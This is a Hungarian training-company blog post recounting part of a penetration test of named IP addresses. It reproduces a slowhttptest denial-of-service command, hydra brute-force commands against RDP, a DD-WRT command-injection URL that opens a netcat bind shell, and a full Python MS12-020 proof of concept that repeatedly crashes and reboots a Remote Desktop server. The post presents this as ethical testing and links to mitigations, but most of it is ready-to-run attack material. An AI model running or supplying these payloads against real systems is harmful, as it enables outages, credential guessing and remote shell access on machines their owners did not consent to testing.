NetAcademia

A legjobbakat tanítjuk!

Ami a felhőből megmaradt, könnyen köddé válhat v2.0

2016. július 13. 09:14 - Barcsi Tamás (NetAcademia)

Az előző részben (http://netacademia.blog.hu/2016/07/07/ami_a_felhobol_megmaradt_konnyen_kodde_valhat) már sok jót, jó sokat megtudhattunk egy pentest eredményéből. Jöjjön akkor a folytatás!

 

************************** Pentest by A.G. ***********************

Sietünk, de azért még egyet megnézünk: nikto -h 195.71.46.100:81

10081nikto.png

8080-as port:

Tényleg van egy DD-WRT-s login screenünk:

Kicsit poroljuk le a httpd-t (valószínűleg nincs load balancing, WAF, stb.):

Ha még a slowhttp is besegít, biztosan hálás lesz:
slowhttptest -u http://195.70.46.100:8080 -g -o test.html

Etherape segít követni az aktivitásunkat:

Íme a jutalom.
A WebUI elérhetetlen és biztos, hogy nem elégedettek a sávszélességgel a LAN userek:

1008080rooterwebuidown.png

Mi lenne, ha megpróbálnánk megnézni a jelszó erősségét? DD-WRT webes interfészén alapból root-ként lehet belépni. Tehát jó esetben „csak” a jelszó a kérdés. xHydra teszi amit kell, de ncrack, medusa, nmap http-auth is jó lehet.

10033080hydrardp.png

A login dictionary attack működik (tehát nincs csillapítás, vagy login failure daemon).
https://www.dd-wrt.com/wiki/index.php/Preventing_Brute_Force_Attacks
A jelszó fájl mérete azonban:

Tekintve a nagy számot bal oldalt, ez sok időbe telne és nem is biztos, hogy eredményre vezetne... Mivel DD_WRT-ről van szó egy próbát ez is megérne (sajnos csak LAN oldalról működik direkt URL hívással, vagy CSRF alapon):
http://router IP/cgi-bin/;nc$IFS-l$IFS-p$IFS5555$IFS-e$IFS/bin/sh
Utána pedig: telnet router IP 5555

Felsőbb port tartományban még ezek a portok váltak „gyanússá”:

30250-es port:
Ha minden igaz, akkor RDP (Windows távoli asztal) bejelentkező képernyőt kell kapnunk és tényleg:

Biztos ami biztos, megnézzük van-e csillapítás?
hydra -s 30250 -V -l administrator -P /usr/share/wordlists/rockyou.txt -t 4 -w 5 195.70.46.100 rdp lenne parancssorban, de mi ismét xHydra-t használunk, ami így fest:

rdphydra.png

http://serverfault.com/questions/230033/how-to-stop-brute-force-attacks-on-terminal-serverwin2008r2

33080-as port:
Gyanús, hogy az nmap filteredre (tűzfal, routing szabály, IDS, stb.) hozta ki, egy korábbi tesztnél open volt és szintén MS Terminal Service szolgált ki minket:

10033080rdplogin.png

Kicsit keresgélve ezt találjuk:
MS12-020 / CVE-2012-0002 Vulnerabilities in Remote Desktop could allow remote code execution
Ez jól hangzik :). BlackBap.Org-ról az alábbi python scriptet hívhatjuk segítségül:
# MS12-020 / CVE-2012-0002 Vulnerability - Proof of Concept
# BlackBap.Org
import socket
import sys
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T Rec X.224
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224
HOST = sys.argv[1]
PORT = 33080
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print "sending: %d bytes" % len(buf)
s.send(buf)
rec = s.recv(100)
print "received: %d bytes" % len(rec)
s.close()
# BlackBap.Org

A host IP-t argumentumként adjuk át, a portot a kódban szerkesztjük. Majd futtatjuk a következőt:
#python evil.py 195.76.40.100

rdpbofreset.png

Ezen a ponton mondta, hogy elég. Összeomlott és rendszer újraindítást okozott:

10033080rdpaftrereset.png

Az utolsó próbálkozásnál látható, hogy újra felállt a rendszer. Természetesen loop-ba tehető a script...
https://technet.microsoft.com/hu-hu/library/security/ms12-020.aspx

 

************************** Pentest by A.G. ***********************

És itt a vége. (Itt a vége?) 

Köszönjük szépen Gábornak a remek tesztet, a doksit, és az etikusságot! :) 

Szólj hozzá!

A bejegyzés trackback címe:

https://netacademia.blog.hu/api/trackback/id/tr878884476

Kommentek:

A hozzászólások a vonatkozó jogszabályok  értelmében felhasználói tartalomnak minősülnek, értük a szolgáltatás technikai  üzemeltetője semmilyen felelősséget nem vállal, azokat nem ellenőrzi. Kifogás esetén forduljon a blog szerkesztőjéhez. Részletek a  Felhasználási feltételekben és az adatvédelmi tájékoztatóban.

Nincsenek hozzászólások.
süti beállítások módosítása